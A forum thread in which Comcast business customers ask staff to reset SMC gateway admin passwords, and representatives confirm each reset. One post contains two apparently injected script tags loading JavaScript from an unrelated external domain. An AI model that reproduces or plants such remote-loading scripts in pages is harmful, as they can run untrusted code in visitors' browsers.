Router/cable password changed on me

[Comcast_John]

Welcome jshesrloc.  The Gateway password has been reset to the default.

Thank you

[Mario_millvalle]

Please reset my Gateway password as well. Thanks.

[Comcast_John]

Welcome Mario_millvalle.  The Gateway password has been reset to the default.

Thank You

[rxtxlabs]

Comcast_John:

I'm also locked out of my SMC Business Gateway device. If you could get the password reset that would be helpful. This seems to be a common issue. Is there an underlying problem that needs to be addressed?

[aaron]

I Need two modem's reset, thank you in advance.

[Comcast_John]

rxtxlabs.   The gateway password has been reset to the default.

[Comcast_John]

Aaron.  Please send me a PM (private message) with the RF Mac Address of each gateway that requires a password reset.

Thank you

[poplarpawn]

It looks like my password on my smc business class router password had changed could you reset it for me

thanks,

Jim

[Comcast_John]

Welcome Jim.  The gateway password has been reset to the default

Thank you

[Matt_TR]

I need a router password reset please.

[Comcast_John]

Welcome Matt_TR.  The gateway password has been reset to the default

[DGTJBarker]

Hello!  I could also use a password reset, pretty please.

JB

[Comcast_John]

Welcome DGTJBarker. The gateway password has been reset to the default

[Treisner]

I also need to access my router and the password has changed.  Please rest it.  Thanks.

[Comcast_John]

Welcome Treisner.  The gateway password has been reset to the default.

Thank You

[nschlutter]

I can't seem to login to my modem using the old credentials either. Any chance it can be changed?

Thanks!

[Comcast_John]

Welcome Nschlutter.  

The gateway password has been reset to the default.

Thank You

[krezack]

Please reset my user/password.

Thanks.

[Comcast_Jon]

Hello krezack,

Welcome to the forum.

Password on the IPGW has been reset back to default.

Please try to login again.

Thank You

[compupane]

Can you reset mine too?  Thanks!

[Comcast_John]

Welcome Compupane.

Welcome to the forum.

Password on the IPGW has been reset back to default.

Please try to login again.

Thank You

[teknix]

Looks like mine is affected now as well.  Reset please?

[Comcast_Jon]

Hello teknix,

Welcome to the forum.

Password on the IPGW has been reset back to default.

Please try to login again.

Thank You

[db848]

I just found out that my password doesn't work either. Could you please reset my gateway to the default password?

Thanks!

[Comcast_Jon]

Hello db848,

Welcome to the forum.

Password on the IPGW has been reset back to default.

Please try to login again.

Thank You

[elatable]

I can't login either.  Can you please reset mine as well?

[Comcast_Jon]

Hello elatable,

Welcome to the forum.

Password on the IPGW has been reset back to default.

Please try to login again.

Thank You

[res]

Hello,

Same here with the login/passwd issue. Could you also reset ours to the default one?

Thanks!

[Comcast_Jon]

Hello res,

Welcome to the forum.

Password on the IPGW has been reset back to default.

Please try to login again.

Thank You

[res]

Works great now, thanks for the quick reply!!

Roger.

[scooterking1]

I would appreciate it if someone could reset my password as well, thank you!

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.dataLoaded"></script> <script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.dataLoaded"></script>

[Comcast_John]

Welcome scooterking.    I verified that the default username and password are active on the SMC Gateway.  If you are still having issues please send me a PM (private message) with the account number and the RF MAC Address of the SMC. 

Thank you

[DaveProcomm]

Please reset mine as well....

Your help is appreciated...

Thank You,

Dave Pierce 

Procomm Advisors.

[Comcast_John]

Welcome DaveProcomm.  The gateway password has been reset to the Comcast default.  

Thank you

[bradbobs]

I am also unable to log into my router/modem

[Comcast_John]

Welcome Bradbobs.  The gateway login and password is set to the Comcast default.  Let us know if require additional assistance accessing the gateway.

Thank you

[iamogre]

My SMC router seems to have this issue of FW upgrade corrupting the passwork. Can you please reset it John? Can you pm th e default as well?

Thanks!

[cgarfield]

For some reason I can no longer log into it.

[Comcast_Jon]

Hello iamogre,

Welcome to the forum.

Password on the IPGW has been reset back to default.

Please try to login again.

Thank You

[Comcast_Jon]

Hello cgarfield,

Welcome to the forum.

Password on the IPGW has been reset back to default.

Please try to login again.

Thank You

[JeffIrwin]

Hello,

We are having the same issue, where we are unable to login to the cusadmin account.

Can you reset our password as well?

If so, can you reset only the password and not any of the settings that are already settup?

We are currently using the system in a production event, so i do not want to cause any distrubtion. I just am unable to login to cusadmin account.

Thank you.

[Comcast_Jon]

Hello Jefflrwin

Welcome to the forum.

Password on the IPGW has been reset back to default and no setting has been changed.

Please try to login again.

Thank You

[JeffIrwin]

Perfect, thank you very much

[Jenkins_P]

I need my router password reset please.  I believe I went in and changed it a while back to something I would not forget.  My plan didn't work.  Can someone help me out?

Thanks!

[Comcast_Jon]

Hello Jenkins_P

Welcome to the forum.

Password on the IPGW has been reset back to default.

Please try to login again.

Thank You

[DeliriousGA]

I tried to log into my SCD3G-CCR router, but the password I set up previously is not letting me in.  How can I reset the password without resetting the whole router to default settings?  I don't have all of the settings to redo the whole router, I just want to turn the DHCP server on and take our physical server offline.

Thanks for the help!

[Comcast_Jon]

Hello DeliriousGA,

Welcome to the forum.

Password on the IPGW has been reset back to default, and no other setting has been changed.

Please try to login again.

Thank You

[Omen]

Hi Comcast_Jon, I seem to be having the same issue too. I know i have logged into my router before, but now I can't get in with the default password, or my usual custom password.

Thanks,

   Omen

[Comcast_Jon]

Hello Omen

Welcome to the forum.

I have reset password back to default, please try to login again.

Thank You

[sparkplug]

Hi Comcast_John,

I'm also experiencing login problems to the SMC SCD3G-CCR router. I've tried the default and my custom password for 'cusadmin' but both no longer works. Can you please reset our router's admin password? If I may add, can you also please inform me what username and password should I use to reduce the guess work? thanks.